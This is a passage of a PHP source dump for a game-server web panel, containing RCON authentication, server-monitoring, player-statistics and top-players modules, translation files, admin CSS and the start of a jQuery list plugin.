$Data, "\0" ); } public function Authorize( $Password ) { $this->Write( SourceQuery::SERVERDATA_AUTH, $Password ); $Buffer = $this->Read( ); $RequestID = $Buffer->GetLong( ); $Type = $Buffer->GetLong( ); // If we receive SERVERDATA_RESPONSE_VALUE, then we need to read again // More info: https://developer.valvesoftware.com/wiki/Source_RCON_Protocol#Additional_Comments if( $Type === SourceQuery::SERVERDATA_RESPONSE_VALUE ) { $Buffer = $this->Read( ); $RequestID = $Buffer->GetLong( ); $Type = $Buffer->GetLong( ); } if( $RequestID === -1 || $Type !== SourceQuery::SERVERDATA_AUTH_RESPONSE ) { throw new AuthenticationException( 'RCON authorization failed.', AuthenticationException::BAD_PASSWORD ); } } } ================================================ FILE: app/modules/module_block_main_servers_monitoring/ext/SourceQuery/bootstrap.php ================================================ * * @link https://steamcommunity.com/profiles/76561198038416053 * @link https://github.com/M0st1ce * * @license GNU General Public License Version 3 */ ?> get_module_cache('module_block_main_servers_monitoring'); switch ( $Modules->array_modules['module_block_main_servers_monitoring']['setting']['type'] ) { case 1:?>
    server_list_count; $i_server++ ):?> server_list_count % 3 == 1 && $i_server == $General->server_list_count - 1 ):?>
    -
    server_list_count % 3 != 0 ):?>
    get_translate_phrase('_Online_mon')?>
    server_list_count; $i_server++ ) {?>
    get_translate_phrase('_Game')?> get_translate_phrase('_Name')?> get_translate_phrase('_Players')?> get_translate_phrase('_Map')?>
    get_translate_phrase('_Online_mon')?>
    server_list_count; $i_server++ ) {?>
    get_translate_phrase('_Game')?> get_translate_phrase('_Name')?> get_translate_phrase('_Players')?> get_translate_phrase('_Map')?>
    server_list_count; $i_server++ ):?> server_list_count % 3 == 1 && $i_server == $General->server_list_count - 1 ):?>
    server_list_count % 3 != 0 ):?>
    get_translate_phrase('_Online_mon')?>
    server_list_count; $i_server++ ) {?>
    get_translate_phrase('_Game')?> get_translate_phrase('_Name')?> get_translate_phrase('_Players')?> get_translate_phrase('_Map')?>
    server_list_count > 1 ):?>
    get_translate_phrase("_CountOnline"); ?> 0/0
    server_list_count == 1 ):?>
    server_list_count; $i_server++ ):?> server_list_count == 1 ):?>
    server_list_count; $i_server++ ):?> ================================================ FILE: app/modules/module_block_main_servers_monitoring/includes/js_controller.php ================================================ * * @link https://steamcommunity.com/profiles/76561198038416053 * @link https://github.com/M0st1ce * * @license GNU General Public License Version 3 */ // Если входящий поток существует, начинаем работу. ! isset( $_POST['data'] ) && die(); // if(isset( $_POST['my'] ) && $_POST['my'] == 'yes') // { // // Итоговый вывод является массивом. // $return = []; // //Время в минутах, сколько будет храниться кеш // $cachetime = 0; // // Итоговый кэш является массивом. // $cache = []; // if(file_exists('../temp/cache.php')) // { // $zalupa = require '../temp/cache.php'; // if((time() - filectime('../temp/cache.php') - ($cachetime*60)) < 0 && !empty($zalupa)) // { // echo json_encode($zalupa); // exit(); // } // } // // Присваиваем список серверов. // $servers = $_POST['data'][0]; // // Считаем количество серверов. // $servers_count = sizeof( $servers ); // $options = require '../../../../storage/cache/sessions/options.php'; // require '../ext/ServerInfo.php'; // // Перебираем список серверов и собираем данные в подмассивы. // for ( $i_ser = 0; $i_ser < $servers_count; $i_ser++ ) // { // $haha = new ServerInfo( $servers[ $i_ser ]["ip"] ); // $returncheck = $haha->SI_Get(); // if( empty( $returncheck["info"] ) ) // { // $ipport = explode(":", $servers[ $i_ser ]["ip"]); // $return[]["info"] = [ // 'Map_image' => 'storage/cache/img/maps/730/-.jpg', // 'Port' => $ipport[1] ?? "27015", // 'Ip' => $ipport[0] ?? "228.228.228", // 'Map' => "-", // 'Appid' => 730, // 'Playersmax' => 0, // 'Players' => 0, // 'Name' => "Сервер выключен" // ]; // } // else $return[] = $returncheck; // } // ( ! file_exists( '../temp/cache.php' ) || $return != require '../temp/cache.php' ) && file_put_contents('../temp/cache.php', 'Connect( $server[ $i_server ][0], $server[ $i_server ][1], 3, SourceQuery :: SOURCE ); // Присваиваем полученную информацию о сервере. $info[ $i_server ] = $Query->GetInfo(); // Присваиваем полученную информацию об игроках. $return[ $i_server ]['players'] = $Query->GetPlayers(); // Вывод - IP Сервера $return[ $i_server ]['ip'] = empty( $server_fakeip[ $i_server ] ) ? $server[ $i_server ][0] . ':' . $server[ $i_server ][1] : $server_fakeip[ $i_server ]; // Вывод - Название сервера $return[ $i_server ]['HostName'] = substr_unicode( $info[ $i_server ]['HostName'], 0, 43 ) . '..'; // Проверка на существование изображения карты. if( file_exists( '../../../../storage/cache/img/maps/' . $info[ $i_server ]['AppID'] . '/' . array_reverse( explode( "/", $info[ $i_server ]['Map'] ) )[0] . '.jpg') ): // Вывод - Название карты. $return[ $i_server ]['Map'] = array_reverse(explode("/", $info[ $i_server ]['Map']))[0]; // Вывод - Изображение карты карты. $return[ $i_server ]['Map_image'] = array_reverse(explode("/", $info[ $i_server ]['Map']))[0]; // Добавление в кэш ссылки на изображения текущей карты. $cache[ $i_server ] = $info[ $i_server ]['AppID'] . '/' . array_reverse(explode("/", $info[ $i_server ]['Map']))[0]; else: // Вывод - Название карты. $return[ $i_server ]['Map'] = array_reverse(explode("/", $info[ $i_server ]['Map']))[0]; // Вывод - При отсутсвии изображении, заглушка. $return[ $i_server ]['Map_image'] = '-'; // Добавление в кэш заглушки. $cache[ $i_server ] = '730/-'; endif; // Вывод - Количество игроков. $return[ $i_server ]['Players'] = $info[ $i_server ]['Players']; // Вывод - Максимальное количество игроков. $return[ $i_server ]['MaxPlayers'] = $info[ $i_server ]['MaxPlayers']; // Вывод - Название мода. $return[ $i_server ]['Mod'] = $info[ $i_server ]['AppID']; // Исключение } catch ( Exception $e ) { // Вывод - IP Сервера $return[ $i_server ]['ip'] = empty( $server_fakeip[ $i_server ] ) ? $server[ $i_server ][0] . ':' . $server[ $i_server ][1] : $server_fakeip[ $i_server ]; // Название выключенного сервера $return[ $i_server ]['HostName'] = 'Сервер отключен'; // Карта выключенного сервера $return[ $i_server ]['Map'] = '-'; // Название выключенного сервера $return[ $i_server ]['Map_image'] = '-'; // Количество игроков выключенного сервера $return[ $i_server ]['Players'] = 0; $return[ $i_server ]['MaxPlayers'] = 0; // Мод выключенного сервера $return[ $i_server ]['Mod'] = '730'; $cache[ $i_server ] = '730/-'; // Конец действия } finally { $Query->Disconnect(); } endfor; // Проверка директории под кэш ! file_exists( '../temp' ) && mkdir( '../temp', 0777, true ); // Кэширование изображений с серверов для предзагрузки блоков ( ! file_exists( '../temp/cache.php' ) || $cache != require '../temp/cache.php' ) && file_put_contents('../temp/cache.php', ' - The total number of players;
    - The number of players logged into the server in the last 24 hours;
    - The number of headshots;", "author": "M0st1ce", "page": "home", "version": "0.1", "required": { "core": "0.2", "php": "5.4" }, "setting": { "status": 1, "type": 2, "available_types": "1;2", "translation": 1, "interface": 1, "interface_adjacent": "afternavbar", "data": 1, "css": 1, "cache_enable": 0, "cache_time": 1800 } } ================================================ FILE: app/modules/module_block_main_stats/forward/data.php ================================================ * * @link https://steamcommunity.com/profiles/76561198038416053 * @link https://github.com/M0st1ce * * @license GNU General Public License Version 3 */ switch ( empty( $Modules->array_modules['module_block_main_stats']['setting']['cache_enable'] ) ? 0 : $Modules->array_modules['module_block_main_stats']['setting']['cache_enable'] ) { case 0: // Проверка на подключенный мод - Levels Ranks if ( ! empty( $Db->db_data['LevelsRanks'] ) ): // Циклом подключаемся к базам данных и сохраняем информацию для нашего кэша. for ( $d = 0; $d < $Db->table_count['LevelsRanks']; $d++ ): $d_data[] = $Db->queryAll('LevelsRanks', $Db->db_data['LevelsRanks'][ $d ]['USER_ID'], $Db->db_data['LevelsRanks'][ $d ]['DB_num'], 'SELECT ( SELECT COUNT(1) FROM `' . $Db->db_data['LevelsRanks'][ $d ]['Table'] . '` LIMIT 1) AS `Total_players`, ( SELECT COUNT(1) FROM `' . $Db->db_data['LevelsRanks'][ $d ]['Table'] . '` WHERE `lastconnect`>=' . (time() - 86400) . ' LIMIT 1) AS `Players_24h`, ( SELECT sum(`headshots`) FROM `' . $Db->db_data['LevelsRanks'][ $d ]['Table'] . '` LIMIT 1) AS `Headshot`, ( SELECT sum(`playtime`) FROM `' . $Db->db_data['LevelsRanks'][ $d ]['Table'] . '` LIMIT 1) AS `playtime`')[0]; endfor; endif; // Проверка на подключенный мод - FPS if ( ! empty( $Db->db_data['FPS'] ) ): $d_data[] = $Db->queryAll('FPS', 0, 0, 'SELECT ( SELECT COUNT(1) FROM `fps_players` ) AS `Total_players`, ( SELECT COUNT(1) FROM `fps_servers_stats` WHERE `lastconnect`>=' . (time() - 86400) . ') AS `Players_24h`, ( SELECT sum(`headshots`) FROM `fps_weapons_stats` ) AS `Headshot`, ( SELECT sum(`playtime`) FROM `fps_servers_stats` ) AS `playtime`')[0]; endif; $data['module_block_main_stats'] = empty( $d_data['Total_players'] ) ? ['Total_players' => array_sum( array_column( $d_data, 'Total_players') ), 'Players_24h' => array_sum( array_column( $d_data, 'Players_24h') ), 'Headshot' => array_sum( array_column( $d_data, 'Headshot') ), 'playtime' => array_sum( array_column( $d_data, 'playtime') )] : $d_data; // Проверка на подключенный мод - RankMeKento if ( ! empty( $Db->db_data['RankMeKento'] ) ): for ( $d = 0; $d < $Db->table_count['RankMeKento']; $d++ ): $d_data[] = $Db->queryAll('RankMeKento', $Db->db_data['RankMeKento'][ $d ]['USER_ID'], $Db->db_data['RankMeKento'][ $d ]['DB_num'], 'SELECT ( SELECT COUNT(1) FROM `' . $Db->db_data['RankMeKento'][ $d ]['Table'] . '` LIMIT 1) AS `Total_players`, ( SELECT COUNT(1) FROM `' . $Db->db_data['RankMeKento'][ $d ]['Table'] . '` WHERE `lastconnect`>=' . (time() - 86400) . ' LIMIT 1) AS `Players_24h`, ( SELECT sum(`headshots`) FROM `' . $Db->db_data['RankMeKento'][ $d ]['Table'] . '` LIMIT 1) AS `Headshot`, ( SELECT sum(`connected`) FROM `' . $Db->db_data['RankMeKento'][ $d ]['Table'] . '` LIMIT 1) AS `playtime`')[0]; endfor; endif; $data['module_block_main_stats'] = empty( $d_data['Total_players'] ) ? ['Total_players' => array_sum( array_column( $d_data, 'Total_players') ), 'Players_24h' => array_sum( array_column( $d_data, 'Players_24h') ), 'Headshot' => array_sum( array_column( $d_data, 'Headshot') ), 'playtime' => array_sum( array_column( $d_data, 'playtime') )] : $d_data; break; case 1: // Получаем кэша данного модуля. $data['module_block_main_stats'] = $Modules->get_module_cache('module_block_main_stats'); // Проверяем актуальность кэша. if ( ( empty( $data['module_block_main_stats'] ) ) || ( ! empty( $data['module_block_main_stats']['time'] ) && time() > $data['module_block_main_stats']['time'] ) ) { // Затираем страные данные которые могут помешать созданию кэша. $data['module_block_main_stats']['Total_players'] = 0; $data['module_block_main_stats']['Players_24h'] = 0; $data['module_block_main_stats']['Headshot'] = 0; $data['module_block_main_stats']['playtime'] = 0; $data['module_block_main_stats']['time'] = 0; // Сохраняем текущее время и прибавляем к нему 1 час. $data['module_block_main_stats']['time'] = time() + $Modules->array_modules['module_block_main_stats']['setting']['cache_time']; // Проверка на подключенный мод - Levels Ranks if ( ! empty( $Db->db_data['LevelsRanks'] ) ): // Циклом подключаемся к базам данных и сохраняем информацию для нашего кэша. for ( $d = 0; $d < $Db->table_count['LevelsRanks']; $d++ ) { $data['module_block_main_stats']['Total_players'] += $Db->queryNum('LevelsRanks', $Db->db_data['LevelsRanks'][ $d ]['USER_ID'], $Db->db_data['LevelsRanks'][ $d ]['DB_num'], 'SELECT COUNT(1) FROM `' . $Db->db_data['LevelsRanks'][ $d ]['Table'] . '` LIMIT 1')[0]; $data['module_block_main_stats']['Players_24h'] += $Db->queryNum('LevelsRanks', $Db->db_data['LevelsRanks'][ $d ]['USER_ID'], $Db->db_data['LevelsRanks'][ $d ]['DB_num'], 'SELECT COUNT(1) FROM `' . $Db->db_data['LevelsRanks'][ $d ]['Table'] . '` WHERE `lastconnect`>=' . (time() - 86400) . ' LIMIT 1')[0]; $data['module_block_main_stats']['Headshot'] += $Db->queryNum('LevelsRanks', $Db->db_data['LevelsRanks'][ $d ]['USER_ID'], $Db->db_data['LevelsRanks'][ $d ]['DB_num'], 'SELECT sum(`headshots`) FROM `' . $Db->db_data['LevelsRanks'][ $d ]['Table'] . '` LIMIT 1')[0]; $data['module_block_main_stats']['playtime'] += $Db->queryNum('LevelsRanks', $Db->db_data['LevelsRanks'][ $d ]['USER_ID'], $Db->db_data['LevelsRanks'][ $d ]['DB_num'], 'SELECT sum(`playtime`) FROM `' . $Db->db_data['LevelsRanks'][ $d ]['Table'] . '` LIMIT 1')[0]; } endif; // Проверка на подключенный мод - FPS if ( ! empty( $Db->db_data['FPS'] ) ): $data['module_block_main_stats']['Total_players'] += $Db->queryNum('FPS', 0, 0, 'SELECT COUNT(1) FROM `fps_players` LIMIT 1')[0]; $data['module_block_main_stats']['Players_24h'] += $Db->queryNum('FPS', 0, 0, 'SELECT COUNT(1) FROM `fps_servers_stats` WHERE `lastconnect`>=' . (time() - 86400) . ' LIMIT 1')[0]; $data['module_block_main_stats']['Headshot'] += $Db->queryNum('FPS', 0, 0, 'SELECT sum(`headshots`) FROM `fps_weapons_stats` LIMIT 1')[0]; $data['module_block_main_stats']['playtime'] += $Db->queryNum('FPS', 0, 0, 'SELECT sum(`playtime`) FROM `fps_servers_stats` LIMIT 1')[0]; endif; // Проверка на подключенный мод - RankMeKento if ( ! empty( $Db->db_data['RankMeKento'] ) ): // Циклом подключаемся к базам данных и сохраняем информацию для нашего кэша. for ( $d = 0; $d < $Db->table_count['RankMeKento']; $d++ ) { $data['module_block_main_stats']['Total_players'] += $Db->queryNum('RankMeKento', $Db->db_data['RankMeKento'][ $d ]['USER_ID'], $Db->db_data['RankMeKento'][ $d ]['DB_num'], 'SELECT COUNT(1) FROM `' . $Db->db_data['RankMeKento'][ $d ]['Table'] . '` LIMIT 1')[0]; $data['module_block_main_stats']['Players_24h'] += $Db->queryNum('RankMeKento', $Db->db_data['RankMeKento'][ $d ]['USER_ID'], $Db->db_data['RankMeKento'][ $d ]['DB_num'], 'SELECT COUNT(1) FROM `' . $Db->db_data['RankMeKento'][ $d ]['Table'] . '` WHERE `lastconnect`>=' . (time() - 86400) . ' LIMIT 1')[0]; $data['module_block_main_stats']['Headshot'] += $Db->queryNum('RankMeKento', $Db->db_data['RankMeKento'][ $d ]['USER_ID'], $Db->db_data['RankMeKento'][ $d ]['DB_num'], 'SELECT sum(`headshots`) FROM `' . $Db->db_data['RankMeKento'][ $d ]['Table'] . '` LIMIT 1')[0]; $data['module_block_main_stats']['playtime'] += $Db->queryNum('RankMeKento', $Db->db_data['RankMeKento'][ $d ]['USER_ID'], $Db->db_data['RankMeKento'][ $d ]['DB_num'], 'SELECT sum(`connected`) FROM `' . $Db->db_data['RankMeKento'][ $d ]['Table'] . '` LIMIT 1')[0]; } endif; // Сохраняем новый кэш для данного модуля. $Modules->set_module_cache( 'module_block_main_stats', $data['module_block_main_stats'] ); } break; } ================================================ FILE: app/modules/module_block_main_stats/forward/interface.php ================================================ * * @link https://steamcommunity.com/profiles/76561198038416053 * @link https://github.com/M0st1ce * * @license GNU General Public License Version 3 */ ?>

    translate( 'module_block_main_stats', '_Total_players' ) ?>
    get_icon( 'zmdi', 'accounts-alt', null ) ?>

    translate( 'module_block_main_stats', '_Players_24_hours' ) ?>
    get_icon( 'zmdi', 'star', null ) ?>

    get_translate_phrase( '_Headshot' ) ?>
    get_icon( 'zmdi', 'fire', null ) ?>
    ================================================ FILE: app/modules/module_block_main_stats/translation.json ================================================ { "_Total_players": { "EN": "Total Players", "BR": "Total de Players", "RU": "Всего игроков", "UA": "Всього гравців", "LT": "Iš viso žaidėjų", "CH": "玩家总数" }, "_Players_24_hours": { "EN": "Players in 24 hours", "BR": "Players nas últimas 24 horas", "RU": "Игроков за 24 часа", "UA": "Гравців за 24 години", "LT": "Žaidėjai per 24 valandas", "CH": "24小时内玩家数" } } ================================================ FILE: app/modules/module_block_main_top/description.json ================================================ { "title":"LR WEB | Home - TOP 10 Players", "info":"TOP 10 players for homepage", "author":"M0st1ce", "page":"home", "version":"0.1", "required": { "core":"0.2", "php":"5.4" }, "setting": { "status":1, "type":1, "available_types":"1", "interface":1, "interface_adjacent":"afternavbar", "data":1, "cache_enable":0, "cache_time":3600, "translation":0, "data_always":0, "css":0, "js":0 } } ================================================ FILE: app/modules/module_block_main_top/forward/data.php ================================================ * * @link https://steamcommunity.com/profiles/76561198038416053 * @link https://github.com/M0st1ce * * @license GNU General Public License Version 3 */ switch ( empty( $Modules->array_modules['module_block_main_top']['setting']['cache_enable'] ) ? 0 : $Modules->array_modules['module_block_main_top']['setting']['cache_enable'] ) { case 0: // Проверка на подключенный мод - Levels Ranks if ( ! empty( $Db->db_data['LevelsRanks'] ) ): for ($d = 0; $d < $Db->table_count['LevelsRanks']; $d++ ): // Забираем массив даннхы $data['module_block_main_top'][] = $Db->queryAll( 'LevelsRanks', $Db->db_data['LevelsRanks'][$d]['USER_ID'], $Db->db_data['LevelsRanks'][$d]['DB_num'],'SELECT `name`, `rank`, `steam`, `playtime`, `value`, `kills`, `deaths`, CASE WHEN `deaths` = 0 THEN `deaths` = 1 END, TRUNCATE( `kills`/`deaths`, 2 ) AS `kd` FROM `' . $Db->db_data['LevelsRanks'][ $d ]['Table'] . '` WHERE `lastconnect` > 0 order by `value` desc LIMIT 10' ); endfor; endif; // Проверка на подключенный мод - FPS if ( ! empty( $Db->db_data['FPS'] ) ): for ($d = 1; $d <= $Db->table_count['FPS']; $d++ ): // Забираем массив даннхы $data['module_block_main_top'][] = $Db->queryAll( 'FPS', 0, 0, 'SELECT `fps_players`.`nickname` AS `name`, `fps_players`.`steam_id` AS `steam`, `fps_servers_stats`.`points` AS `value`, `fps_servers_stats`.`kills`, `fps_servers_stats`.`deaths`, `fps_servers_stats`.`playtime`, `fps_servers_stats`.`rank`, CASE WHEN `fps_servers_stats`.`deaths` = 0 THEN `fps_servers_stats`.`deaths` = 1 END, TRUNCATE( `fps_servers_stats`.`kills`/`fps_servers_stats`.`deaths`, 2 ) AS `kd` FROM `fps_players` INNER JOIN `fps_servers_stats` ON `fps_players`.`account_id` = `fps_servers_stats`.`account_id` WHERE `fps_servers_stats`.`server_id` = `' . $d . '` AND `fps_servers_stats`.`lastconnect` > 0 order by `value` desc LIMIT 10' ); endfor; endif; // Проверка на подключенный мод - RankMeKento if ( ! empty( $Db->db_data['RankMeKento'] ) ): for ($d = 0; $d < $Db->table_count['RankMeKento']; $d++ ): // Забираем массив даннхы $data['module_block_main_top'][] = $Db->queryAll( 'RankMeKento', $Db->db_data['RankMeKento'][$d]['USER_ID'], $Db->db_data['RankMeKento'][$d]['DB_num'],'SELECT `name`, `steam`, `connected` AS `playtime`, `score` AS `value`, `kills`, `deaths`, CASE WHEN `deaths` = 0 THEN `deaths` = 1 END, TRUNCATE( `kills`/`deaths`, 2 ) AS `kd` FROM `' . $Db->db_data['RankMeKento'][ $d ]['Table'] . '` WHERE `lastconnect` > 0 order by `value` desc LIMIT 10' ); endfor; endif; break; case 1: // Получаем кэш $data['module_block_main_top'] = $Modules->get_module_cache('module_block_main_top'); // Если кэш морально устарел, то думаю его нужно обновить if ( ( empty( $data['module_block_main_top'] ) ) || ( time() > $data['module_block_main_top']['time'] ) ) { unset( $data['module_block_main_top'] ); // Обновляем время последнего кэширования. $data['module_block_main_top']['time'] = time() + $Modules->array_modules['module_block_main_top']['setting']['cache_time']; // Проверка на подключенный мод - Levels Ranks if ( ! empty( $Db->db_data['LevelsRanks'] ) ): for ($d = 0; $d < $Db->table_count['LevelsRanks']; $d++ ): // Забираем массив даннхы $data['module_block_main_top'][] = $Db->queryAll( 'LevelsRanks', $Db->db_data['LevelsRanks'][$d]['USER_ID'], $Db->db_data['LevelsRanks'][$d]['DB_num'],'SELECT `name`, `rank`, `steam`, `playtime`, `value`, `kills`, `deaths`, CASE WHEN `deaths` = 0 THEN `deaths` = 1 END, TRUNCATE( `kills`/`deaths`, 2 ) AS `kd` FROM `' . $Db->db_data['LevelsRanks'][ $d ]['Table'] . '` WHERE `lastconnect` > 0 order by `value` desc LIMIT 10' ); endfor; endif; // Проверка на подключенный мод - FPS if ( ! empty( $Db->db_data['FPS'] ) ): for ($d = 1; $d <= $Db->table_count['FPS']; $d++ ): // Забираем массив даннхы $data['module_block_main_top'][] = $Db->queryAll( 'FPS', 0, 0, 'SELECT `fps_players`.`nickname` AS `name`, `fps_players`.`steam_id` AS `steam`, `fps_servers_stats`.`points` AS `value`, `fps_servers_stats`.`kills`, `fps_servers_stats`.`deaths`, `fps_servers_stats`.`playtime`, `fps_servers_stats`.`rank`, CASE WHEN `fps_servers_stats`.`deaths` = 0 THEN `fps_servers_stats`.`deaths` = 1 END, TRUNCATE( `fps_servers_stats`.`kills`/`fps_servers_stats`.`deaths`, 2 ) AS `kd` FROM `fps_players` INNER JOIN `fps_servers_stats` ON `fps_players`.`account_id` = `fps_servers_stats`.`account_id` WHERE `fps_servers_stats`.`server_id` = :sid AND `fps_servers_stats`.`lastconnect` > 0 order by `value` desc LIMIT 10', [ "sid" => $d ] ); endfor; endif; // Проверка на подключенный мод - Levels Ranks if ( ! empty( $Db->db_data['RankMeKento'] ) ): for ($d = 0; $d < $Db->table_count['RankMeKento']; $d++ ): // Забираем массив даннхы $data['module_block_main_top'][] = $Db->queryAll( 'RankMeKento', $Db->db_data['RankMeKento'][$d]['USER_ID'], $Db->db_data['RankMeKento'][$d]['DB_num'],'SELECT `name`, `steam`, `connected` AS `playtime`, `score` AS `value`, `kills`, `deaths`, CASE WHEN `deaths` = 0 THEN `deaths` = 1 END, TRUNCATE( `kills`/`deaths`, 2 ) AS `kd` FROM `' . $Db->db_data['RankMeKento'][ $d ]['Table'] . '` WHERE `lastconnect` > 0 order by `value` desc LIMIT 10' ); endfor; endif; // Обновляем кэш $Modules->set_module_cache( 'module_block_main_top', $data['module_block_main_top'] ); } break; } ================================================ FILE: app/modules/module_block_main_top/forward/interface.php ================================================ * * @link https://steamcommunity.comprofiles/76561198038416053 * @link https://github.com/M0st1ce * * @license GNU General Public License Version 3 */ ?>
    table_statistics_count; $d++ ):?> table_statistics_count && $Db->table_statistics_count % 2 == 1 ):?>
    get_translate_phrase( '_Top_players' )?> :: statistics_table[ $d ]['name']?>
    arr_general['avatars'] != 0 ) {?>statistics_table[ $d ]['DB_mod'] != 'RankMeKento' ):?>get_js_relevance_avatar( $General->arr_general['only_steam_64'] === 1 ? con_steam32to64( $data_paste[ $d ][ $dd ]['steam'] ) : $data_paste[ $d ][ $dd ]['steam'] )?> arr_general['avatars'] != 0 ) {?> statistics_table[ $d ]['DB_mod'] != 'RankMeKento' ):?>
    # get_translate_phrase( '_Player' )?> get_translate_phrase( '_Point' )?> get_translate_phrase( '_Rank' )?> get_translate_phrase( '_Ratio_KD_short' )?> get_translate_phrase( '_Play_time' )?>
    get_translate_phrase('_Hour') ?>
    table_statistics_count && $Db->table_statistics_count % 2 == 1 ):?>
    ================================================ FILE: app/modules/module_page_adminpanel/assets/css/1.css ================================================ .option_one .btn { margin-top: 12px; float: right; } .option_two .btn { margin-top: 12px; float: right; } .web-header { display: flex; text-align: center; } .web-header > .web-list { width: 100%; cursor: pointer; } .web-header > .web-list > a { padding: 10px 50px; background: var(--default-text-color-invert); color: var(--default-text-color); border-radius: 5px; cursor: pointer; transition: .3s; } .web-header > .web-list > a.sel { background: var(--default-text-color); color: var(--default-text-color-invert); transition: .3s; } .info_form { position: relative; text-align: left; margin-bottom: 6px; width: 100%; color: var(--default-text-color); } .info_form_left { width: 50%; float: left; } .info_form_right { width: 50%; text-align: right; float: right; display: inline-block; } .info_form_line { color: var(--top-text-color); font-size: 12px; font-weight: var(--font-weight-2); } .info_form_line_value { font-size: 14px; font-weight: var(--font-weight-1); } .module_block .btn { float: right; } .input-form { position: relative; text-align: left; margin-top: 6px; margin-bottom: 6px; float: left; width: 100%; } .server_line { position: relative; width: 92%; margin-left: 4%; } .remove_servers { cursor: pointer; white-space: nowrap; text-align: center; height: 30px; background: inherit; color: var(--default-text-color); } .remove_servers img { filter: invert(var(--svg)); } ._add_server { display: inline-block; float: left; } ._save_list { float: right; } .card-block { width: 100%; margin-left: 0%; } ._servers { width: 100%; } ._servers input { text-align: center; } .text-group { width: 100%; } .select_label { float: left; margin-right: 45px; } .select-bar { display: inline-block; margin-right: 0px; margin-top: 2px; } .select-bar option { font-size: 15px; font-weight: var(--font-weight-2); } .select-bar select { font-size: 15px; font-weight: var(--font-weight-0); } .type { display: inline-block; margin-right: 0px; margin-top: 2px; margin-bottom: 18px; float: right; font-weight: var(--font-weight-3); font-size: 12px; } .text_label { display: inline-block; float: left; margin-top: 2px; width: 35%; } .menu .nav a { color: var(--default-text-color); margin-left: 15px; outline: none; } .menu .nav li { display: block; width: 100%; padding: 10px; cursor: pointer; font-weight: var(--font-weight-3); font-size: 12px; } .menu .nav li:hover { color: var(--default-text-color); background-color: var(--hover); } .menu .nav .active { color: var(--default-text-color); background-color: var(--hover); } .menu-header { border-bottom: 1px solid rgba(0, 0, 0, .125); } .menu-header h5 { font-weight: var(--font-weight-3); font-size: 18px; margin-bottom: 20px; } .module-setting { display: inline-block; position: relative; cursor: pointer; float: left; padding: 0; overflow: hidden; border: 0; background: transparent; margin: 4px 7px; outline: none; } .module-setting svg { width: 17px; height: 17px; filter: invert(var(--svg)); outline: none; } .module-info { margin-bottom: 5px; font-weight: var(--font-weight-2); font-size: 13px; } .card .sub-title { font-size: 13px; font-weight: 500; } .sub-title { padding-bottom: 10px; margin-bottom: 10px; font-size: 14px; font-weight: 400; color: var(--default-text-color); } .col-sub-block { width: 84%; margin-left: 27px; } .border-checkbox:checked + .border-checkbox-label:after { -webkit-animation: check linear 0.5s; animation: check linear 0.5s; opacity: 1; border-color: var(--span-color); } .input-form .border-checkbox-label { position: relative; width: 100%; cursor: pointer; line-height: 22px; margin-top: 4px; padding-left: 30px; color: var(--top-text-color); font-size: 12px; font-weight: var(--font-weight-2); } .input-form .border-checkbox-label:after { content: ""; display: block; width: 5px; height: 13px; opacity: .15; border-right: 2px solid var(--default-text-color); border-top: 2px solid var(--default-text-color); position: absolute; left: 5px; top: 13px; -webkit-transform: scaleX(-1) rotate(135deg); transform: scaleX(-1) rotate(135deg); -webkit-transform-origin: left top; transform-origin: left top } .input-form .border-checkbox-label:before { content: ""; display: block; border: 2px solid #3a3a3a;; width: 23px; height: 23px; position: absolute; left: 0 } .border-checkbox { display: none } .border-checkbox:disabled ~ .border-checkbox-label { cursor: no-drop; color: #ccc } @-webkit-keyframes check { 0% { height: 0; width: 0 } 25% { height: 0; width: 5px } 50% { height: 13px; width: 5px } } @keyframes check { 0% { height: 0; width: 0 } 25% { height: 0; width: 5px } 50% { height: 13px; width: 5px } } .dd { position: relative; display: block; margin: 0; padding: 0; list-style: none; font-size: 13px; line-height: 20px; -moz-user-select: none; -khtml-user-select: none; user-select: none; } .dd-list { display: block; position: relative; margin: 0; padding: 0; list-style: none; } .dd-list .dd-list { padding-left: 30px; } .dd-item, .dd-empty, .dd-placeholder { display: block; position: relative; margin: 0; padding: 0; min-height: 20px; font-size: 13px; line-height: 20px; } .dd-handle { display: block; height: 30px; margin: 5px 0; padding: 5px 10px; color: var(--default-text-color); text-decoration: none; font-weight: bold; background: var(--hover); box-sizing: border-box; -moz-box-sizing: border-box; transition: all 0.3s ease; } .dd-handle:hover { background: var(--table-line) } .dd-placeholder, .dd-empty { margin: 5px 0; padding: 0; min-height: 30px; border: 1px dashed #b6bcbf; box-sizing: border-box; -moz-box-sizing: border-box; } .dd-empty { border: 1px dashed #bbb; min-height: 100px; background-color: #e5e5e5; background-size: 60px 60px; background-position: 0 0, 30px 30px; } .dd-dragel { position: absolute; pointer-events: none; z-index: 9999; } .dd-dragel > .dd-item .dd-handle { margin-top: 0; } @media only screen and (min-width: 700px) { .dd { width: 100%; } } .module_setting i { font-size: 17px; } .module_setting { float: right; padding-top: 6px; padding-left: 6px; padding-right: 6px; opacity: .2; } .module_setting:hover { opacity: 1; transition: all 0.3s ease; } .server_form > div { width: 40%; top: 50%; } .server_form .server_form_block { padding-left: 18px; padding-right: 34px; padding-bottom: 18px; } .server_form ._add_server{ margin-left: 18px; margin-right: 18px; margin-top: 18px; margin-bottom: 18px; } .vip_id { display: none; } .wrapper_connection_option { display: flex; } .wrapper_connection_option > div{ margin: 10px; max-width: 400px; } .add_connection_label{ margin-top: 20px; } .wrapper-password{ position: relative; } .password-control{ cursor: pointer; color: var(--span-color); position: absolute; right: 5px; bottom: 1px; } .server_form > div{ transform: translate(-50%, 0) !important; top: 20vh !important; overflow-Y: auto !important; } .server_form { z-index: 10000 !important; overflow-Y: auto !important; } .con_active{ display: block !important; } ================================================ FILE: app/modules/module_page_adminpanel/assets/js/1.js ================================================ if ($('#nestable').length > 0) { !function (d, h, p, l) { var a = "ontouchstart" in p, c = function () { var t = p.createElement("div"), e = p.documentElement; if (!("pointerEvents" in t.style)) return !1; t.style.pointerEvents = "auto", t.style.pointerEvents = "x", e.appendChild(t); var s = h.getComputedStyle && "auto" === h.getComputedStyle(t, "").pointerEvents; return e.removeChild(t), !!s }(), s = { listNodeName: "ol", itemNodeName: "li", rootClass: "dd", listClass: "dd-list", itemClass: "dd-item", dragClass: "dd-dragel", handleClass: "dd-handle", placeClass: "dd-placeholder", noDragClass: "dd-nodrag", emptyClass: "dd-empty", group: 0, maxDepth: 5, threshold: 20 }; function i(t, e) { this.w = d(p), this.el = d(t), this.options = d.extend({}, s, e), this.init() } i.prototype = { init: function () { var s = this; s.reset(), s.el.data("nestable-group", this.options.group), s.placeEl = d('
